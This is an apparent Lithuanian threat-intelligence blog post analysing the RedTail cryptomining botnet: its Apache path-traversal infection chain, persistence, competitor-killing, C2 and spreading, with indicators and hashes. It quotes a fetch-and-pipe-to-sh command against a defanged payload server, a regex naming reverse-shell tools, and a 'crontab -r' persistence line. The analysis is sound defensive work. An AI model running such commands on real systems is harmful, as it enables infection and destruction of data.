Pastaruosius kelis mėnesius mūsų stebimame sraute vis kartodavosi tos pačios užklausos. Kažkas atkakliai bandė išnaudoti senas Apache HTTP serverio spragas (CVE-2021-41773 ir CVE-2021-42013), o užklausos gale visada būdavo trumpa komanda, kuri parsisiunčia ir paleidžia shell skriptą. Pirma mintis: tai vėl RondoDox, apie kurį rašiau gruodį. Panašumų tikrai netrūksta: tas pats „exploit shotgun“ principas, pakopinis skriptas (angl. stager), ieškantis rašomo katalogo (/tmp, /var/tmp, /dev/shm), ir kenkėjiški failai pritaikyti kelioms procesorių architektūroms.
Atidžiau panagrinėjus paaiškėjo, kad tai RedTail. RondoDox yra DDoS botnetas, medžiojantis maršrutizatorius ir IoT įrenginius, o RedTail yra Monero kasėjas, taikantis į serverius. Ironiška, bet tarp procesų, kuriuos „RedTail“ bando nutraukti, yra ir „rondo“, panašu jis RondoDox laiko konkurentu, su kuriuo nesiruošia dalintis procesoriumi. Be to, šiandieninis RedTail yra kur kas daugiau nei XMRig. Tai pilnavertis botas su savo C2, SOCKS5 proxy, sargo procesu (angl. watchdog) ir atsinaujinimo mechanizmu. O svarbiausia, jis plinta pats.

IDS kaskart suveikdavo iškart keliomis taisyklėmis:
ET WEB_SERVER /bin/sh In URI Possible Shell Command Execution Attempt
ET EXPLOIT Apache HTTP Server – Path Traversal Attempt (CVE-2021-42013) M2
ET EXPLOIT Apache HTTP Server 2.4.49 – Path Traversal Attempt (CVE-2021-41773) M2
CVE-2021-41773 yra kelio apėjimo (angl. path traversal) klaida Apache 2.4.49, o CVE-2021-42013 – nepilnas jos pataisymas 2.4.50, kurį galima apeiti dvigubu URL kodavimu (%%32%65 virsta “.”). Jei įjungtas mod_cgi, failų skaitymo klaida virsta nuotoliniu komandų vykdymu: užklausa siunčiama į /cgi-bin/.%2e/.%2e/…/bin/sh, o viskas, kas yra POST turinyje, įvykdoma kaip shell komanda. Mūsų atveju užklausa atkeliavo iš 45[.]225[.]135[.]21 (AS64107, Panama):
(wget –no-check-certificate -qO- https://217[.]60[.]102[.]5/sh || curl -sk https://217[.]60[.]102[.]5/sh) | sh -s apache
wget arba curl (abu ignoruoja sertifikato klaidas) parsisiunčia skriptą ir paduoda jį tiesiai į sh. Pabaiga „-s apache” perduoda skriptui žymę, pagal kurią vėliau žinoma, per kokį servisą auka buvo užkrėsta.
Serveris 217[.]60[.]102[.]5 (AS209373, SWISSNET LLC, Nyderlandai) naršyklėje rodo standartinį „Welcome to nginx!“. HTTPS sertifikatas savarankiškai pasirašytas, su numatytąja OpenSSL reikšme „Internet Widgits Pty Ltd“, išduotas 2026-09-11.
Kam priklauso 45[.]225[.]135[.]21? Apache pažeidžiamumų bandymas įmontuotas pačiame bote, todėl tikėtina, kad tai ne operatorius, o kita, anksčiau užkrėsta auka. Iš viešos informacijos, apie šį adresą, matyti SSH ir Telnet slaptažodžių spėjimas bei web atakos.
Atsisiųstas skriptas yra maždaug šimto eilučių shell failas, kurio užduotis paprasta: rasti vietą ir paleisti tinkamą kenkėjišką failą. Pirmiausia jis sugalvoja atsitiktinį paslėptą failo vardą .XXXX (4-35 simboliai), naudojasi openssl rand, jei nepavyksta /dev/urandom, arba $RANDOM. Jei niekas nepavyksta, tenkinasi vardu .redtail.
Tada ieškomas katalogas, į kurį galima rašyti ir iš kurio galima paleisti failą. Pirmiausia peržiūrimi esamo vartotojo katalogai su rwx teisėmis, o jei nieko nerandama, lieka klasika: /tmp, /var/tmp ir /dev/shm. Kiekviename kandidate bandoma įrašyti 2 MB failą, kad būtų aišku ar kasėjas tilps.
Radęs vietą, skriptas parsisiunčia ir paleidžia skriptą „clean”, tada pagal uname -mp nustato architektūrą ir atsisiunčia vieną iš penkių failų: x86_64, i686, aarch64, arm7 arba riscv. Jei architektūra neatpažįstama, atsisiunčiami visi penki ir bandomi paeiliui.

Prieš paleisdamas kasėją, clean skriptas „susitvarko namus“. Jis sustabdo c3pool_miner ir bot.service, nuima immutable/append-only specialiuosius atributus (chattr -ia) nuo cron failų ir iš ~/.bashrc, ~/.bash_profile, ~/.profile, o tada iš jų išmeta visas eilutes, atitinkančias šabloną:
wget|curl|/dev/tcp|/tmp|\.sh|nc|bash -i|sh -i|base64 -d
Galiausiai išvalomas visas /tmp, /var/tmp ir /dev/shm turinys, išskyrus katalogą, kuriame skriptas dirba pats.
Tikslas – ištrinti kitų kasėjų ar botų įsitvirtinimą. Bėda ta, kad filtras pernelyg platus – kartu su kenkėjiškais įrašais gali būti ištrinamos ir teisėtos administravimo komandos bei skriptai. Kadangi jis taikomas ir /etc/cron.daily, /etc/cron.weekly bei kitiems katalogams, pašalinus dalį eilučių gali sutrikti suplanuotų priežiūros užduočių veikimas. O išvalius /tmp, /var/tmp ir /dev/shm, taip pat gali būti pašalinti kitų programų failai, lizdai (angl. sockets), sesijų duomenys ir užraktai.

Antroje pakopoje atkeliauja penki ELF failai, supakuoti UPX 5.2. Išpakavus gaunamos statiškai sukompiliuotos programos. Visų penkių „Last-Modified“ antraštė sutampa iki sekundės (2026-08-06 13:51:07 GMT), tad jos greičiausiai sukompiliuotos ir įkeltos kartu. Kompiliavimo keliai (/var/build/redtail/scripts/<arch>-build/) šiek tiek atskleidžia ir kūrėjų virtuvę.
Viduje yra nemažai bibliotekų: XMRig 6.26.0 kasimui, libssh2 SSH slaptažodžių spėjimui, libpcap SYN skenerio atsakymams gaudyti, BoringSSL kriptografijai ir operatoriaus „libredtail“ biblioteka – HTTP ir DNS sluoksniui (User-Agent libredtail-http).
Paleidus strings, nieko įdomaus nerasite: nei domenų, nei kasimo baseinų, nei komandų. Visos svarbios eilutės (iš viso 195) užšifruotos dar kompiliavimo metu. Kiekviena turi savo 64 bitų XOR raktą ir iššifruojama tik tada, kai pirmą kartą prireikia. Maloni staigmena: raktai visose penkiose architektūrose vienodi.
Bote įmontuota užšifruota XMRig konfigūracija. Joje nėra nei piniginės, nei vartotojo vardo, nei slaptažodžio. Kasama per operatoriaus valdomus proxy serverius (proxies[.]identities[.]network:2137 ir du panašius, TCP be TLS), o piniginė yra jų pusėje. Smulkmena: „donate-level“ reikšmė pakeista į 0, tad net XMRig kūrėjai negauna savo įprasto 1% atlygio.
Kasėjas stengiasi išspausti viską: neriboja gijų (angl. threads) skaičiaus, „huge pages“ ir keičia MSR registrus (jei turi root). C2 bet kada gali atsiųsti naują konfigūraciją, todėl adresai laikui bėgant gali keistis.
Paleistas botas atsiskiria nuo terminalo ir pasivadina taip, kad nekristų į akis. Jis pasižiūri, ar sistemoje yra php, nginx ar PostgreSQL, ir pasirenka patikimai skambantį vardą: php-fpm: pool www, nginx: worker process, apache2 -k start, sshd: <vartotojas>@notty ir panašiai.
Kad neveiktų kelios kopijos, naudojamas abstraktus UNIX soketas @redtail. Nauja kopija paprašo senosios pasitraukti, ir šis prašymas pasirašomas Ed25519 parašu su įterptu raktu. Antidebuginimo ar smėliadėžės patikrų šioje versijoje neradau. Pagrindinė apsauga nuo analizės čia yra eilučių šifravimas ir programos pakavimas naudojant UPX.
Jei sistemoje yra crontab, botas įvykdo crontab -r; echo „@reboot <kelias>” | crontab -. Kitaip tariant, ištrina visus to vartotojo cron darbus ir palieka tik savo paleidimą po perkrovimo. O jei crontab sistemoje nėra, botas bando sukurti systemd servisą your-redtail.service (tam reikia root teisių).
Atskiras sargo procesas per pidfd stebi pagrindinį botą. Jei botą kas nors nužudo, sargas patikrina failo SHA-512 ir paleidžia jį iš naujo, o prireikus net iš atminties per memfd_create(“redtail”). Jei failas ištrintas, sargas atsisiunčia naują iš https://dw.<domenas>/download/redtail.<arch> (vienas iš devynių operatoriaus domenų). Vien ištrinti failą neužtenka, pirmiausia reikia sustabdyti abu procesus.
Paleidimo metu, o vėliau periodiškai ir sargas, peržiūri /proc ir nužudo (SIGKILL) procesus, kurių vykdomojo failo kelyje yra vienas iš 20 šablonų: xmrig, zmap, masscan, c3pool, redtail, rondo, kinsing, kdevtmpfsi, /tmp ir kiti. Žudomi ir procesai, paleisti iš jau ištrinto failo, bei tie, kurių faile randama stratum+tcp://. Nužudyto konkurento failui nuimamos vykdymo teisės ir uždedama chattr +i žymė, kad negalėtų sugrįžti. Šalutinis poveikis: nukentės ir bet kuri teisėta programa, paleista iš /tmp.
Botas paleidžia SOCKS5 proxy atsitiktiniu prievadu, su atsitiktiniu vartotojo vardu ir slaptažodžiu, tada įvykdo iptables -F (ištrina visas ugniasienės taisykles) ir atidaro tą prievadą. Prievadas, prisijungimo duomenys, CPU modelis, RAM kiekis ir vartotojo vardas išsiunčiami į C2. Tikėtina, kad užkrėstas serveris naudojamas ir kaip tarpinis mazgas svetimam srautui, kaip dar vienas pajamų šaltinis operatoriui.
C2 pasiekiamas per TCP 43782 adresais p[.]2137gang[.]{st,pl,net,shop,store}, proxy[.]identities[.]network, proxy[.]insanitycpp[.]cx ir proxy[.]insanecppdev[.]com. Protokolas savas, dvejetainis ir šifruotas, o serverio „rankos paspaudimas“ tikrinamas Ed25519 parašu. Per C2 operatorius gali atsiųsti naują kasimo konfigūraciją, liepti botui atsinaujinti, perduoti slaptažodžių sąrašus ir exploitų turinį, pridėti C2 adresų ar paleisti ir sustabdyti skenavimą.
Gynėjams svarbu tai, kad domenus botas išsprendžia savo DNS klientu. Jis naudoja ne tik /etc/resolv.conf serverius, bet ir 13 į kodą įrašytų viešų DNS serverių (1.1.1.1, 8.8.8.8, 9.9.9.9 ir kitus), kai kuriuos per 853 prievadą. Todėl blokuoti ar nukreipti (angl. sinkhole) vien organizacijos DNS serveryje nepakanka, reikia riboti ir tiesioginį DNS / DoT srautą į internetą.
Būtent plitimas labiausiai skiria šią versiją nuo “paprasto” kasėjo. Atskira gija (angl. thread) be paliovos ieško naujų aukų. Taikiniai renkami iš intervalo 1.0.0.0-223.255.255.255 atsitiktine tvarka, kiekvienas adresas aplankomas tik kartą. Apie 7,8 % praleidžiama: privatūs ir rezervuoti tinklai, keliolika JAV kariuomenės ir USPS /8 tinklų ir visi Cloudflare tinklai.
Botas siunčia savo suformuotus TCP SYN paketus (jei turi root), o atsakymus analizuoja naudodamas „libpcap“. Jis ieško atvirų prievadų 22 ir 2222 (SSH), 23 (Telnet), 80 ir 443 (web) bei 2375 (Docker API). Radęs atvirą prievadą, bando išnaudoti senas PHP ir Apache spragas, pasinaudoti netinkama Docker API konfigūracija arba prisijungti spėdamas silpnus SSH ir Telnet slaptažodžius.
Prieš išnaudodamas kai kurias PHP spragas, botas pirmiausia patikrina, ar taikinys iš tiesų pažeidžiamas. Pavyzdžiui, siunčiama nekenksminga užklausa, kuria prašoma PHP įvykdyti echo(md5(“Hello PHPUnit”)), o atsakyme ieškoma kontrolinės reikšmės 6a9f35012f4290369bcf45fd7ccf29cf. Panašiai naudojamos ir kitos MD5 reikšmės: md5(“Hello”), md5(“hi”) bei md5(“Hello CVE-2024-4577”). Jei tokias eilutes matote web serverio žurnaluose ar IDS, labai tikėtina, kad pas jus beldžiasi RedTail.
Įdomiausia, kad nei slaptažodžių sąrašų, nei Apache exploito turinio pačiame faile nėra, tik keliai. Tai, kas siunčiama užklausos turinyje, ateina iš C2. Operatorius gali keisti pristatymo serverį ir krovinį neperkompiliuodamas kenkėjo.

„RedTail“ nėra vien kasėjas, kuris naudoja serverio resursus Monero kriptovaliutai kasti. Jis pats ieško naujų aukų, įsitvirtina sistemose, šalina konkurentus ir užkrėstus serverius naudoja kaip tarpinius mazgus. Visa tai leidžia jam ne tik uždirbti iš kasimo, bet ir toliau plisti.
Didžiausia problema ta, kad tokiam botnetui vis dar pakanka senų, jau prieš kelerius metus pataisytų spragų. O patekęs į sistemą „RedTail“ gali pridaryti kur kas daugiau žalos nei vien sulėtinti serverį: ištrinti suplanuotas užduotis, pakeisti ugniasienės taisykles ar net naudoti infrastruktūrą kitų puolimui.
Todėl svarbu ne tik laiku atnaujinti serverius, bet ir stebėti jų veiklą bei riboti nereikalingus išorinius ryšius. Kuo anksčiau aptiksite bandymą įsilaužti, tuo didesnė tikimybė užkirsti kelią užkrėtimui ir neleisti įsitvirtinti sistemoje.
| Taktika | Technika |
| Initial Access | T1190 Exploit Public-Facing Application |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron;
T1543.002 Systemd Service |
| Stealth | T1027.002 Software Packing (UPX);
T1027.013 Encrypted/Encoded File; T1036.011 Overwrite Process Arguments; T1564.001 Hidden Files and Directories; T1620 Reflective Code Loading (memfd)
|
| Defense Impairment | T1686 Disable or Modify System Firewall;
T1222.002 Linux and Mac Permissions |
| Credential Access | T1110.001 Password Guessing (SSH/Telnet) |
| Discovery | T1046 Network Service Discovery |
| Command and Control | T1105 Ingress Tool Transfer;
T1571 Non-Standard Port; T1573 Encrypted Channel; T1090 Proxy |
| Impact | T1496.001 Compute Hijacking;
T1496.002 Bandwidth Hijacking; T1489 Service Stop |
IPs:
217[.]60[.]102[.]5 – payload serveris (sh, clean, ELF)
45[.]225[.]135[.]21 – exploito siuntėjas (tikėtina, užkrėstas RedTail botas)
130[.]12[.]180[.]51 – proxy, C2 ir download serverio resolved IP
31[.]56[.]209[.]165 – proxy resolved IP
hxxps[://]217[.]60[.]102[.]5/sh
hxxps[://]217[.]60[.]102[.]5/clean
hxxps[://]217[.]60[.]102[.]5/x86_64
hxxps[://]217[.]60[.]102[.]5/i686
hxxps[://]217[.]60[.]102[.]5/aarch64
hxxps[://]217[.]60[.]102[.]5/arm7
hxxps[://]217[.]60[.]102[.]5/riscv
Kasimo proxy (TCP 2137): proxies[.]identities[.]network, proxies[.]insanitycpp[.]cx, proxies[.]insanecppdev[.]com
C2 (TCP 43782): p[.]2137gang[.]st, p[.]2137gang[.]pl, p[.]2137gang[.]net, p[.]2137gang[.]shop, p[.]2137gang[.]store, proxy[.]identities[.]network, proxy[.]insanitycpp[.]cx, proxy[.]insanecppdev[.]com
Atnaujinimai (HTTPS): dw[.]2137gang[.]st, dw[.]2137gang[.]net, dw[.]2137gang[.]pl, dw[.]2137gang[.]shop, dw[.]2137gang[.]store, dw[.]internetshadow[.]org, dw[.]identities[.]network, dw[.]insanitycpp[.]cx, dw[.]insanecppdev[.]com
Hashes, packed (SHA-256):
sh – 917fcc9131c6e9ca16264a85afc62532297bb39eb9d37765dad536c7c8c7735c
clean – 3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892
x86_64 – f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987
i686 – 8e1a67a5c03b3cd818f046c7a1605afccc0ee5ce437a0d099881f1872b54bc70
aarch64 – d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e
arm7 – d70f917e35813a7ae323e6b2b539d6dbbfc3a3a6599f1fed93430b14ca08b141
riscv – 3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39
Šis straipsnis sukurtas vykdant SOCcare projekto (Dotacijos sutarties Nr. 101145843) veiklas.
Projekto partneriai: NRD Cyber Security, University Politehnica Bucharest ir RevelSI.
Finansuojama Europos Sąjungos lėšomis. Tačiau išreiškiamas požiūris ar nuomonė yra tik autoriaus (-ių) ir nebūtinai atspindi Europos Sąjungos ar Europos Komisijos-EU požiūrį ar nuomonę. Nei Europos Sąjunga, nei finansavimą skyrusi institucija negali būti laikoma už juos atsakinga.
Projektą remia Europos kibernetinio saugumo pramonės, technologijų ir mokslinių tyrimų kompetencijos centras (ECCC).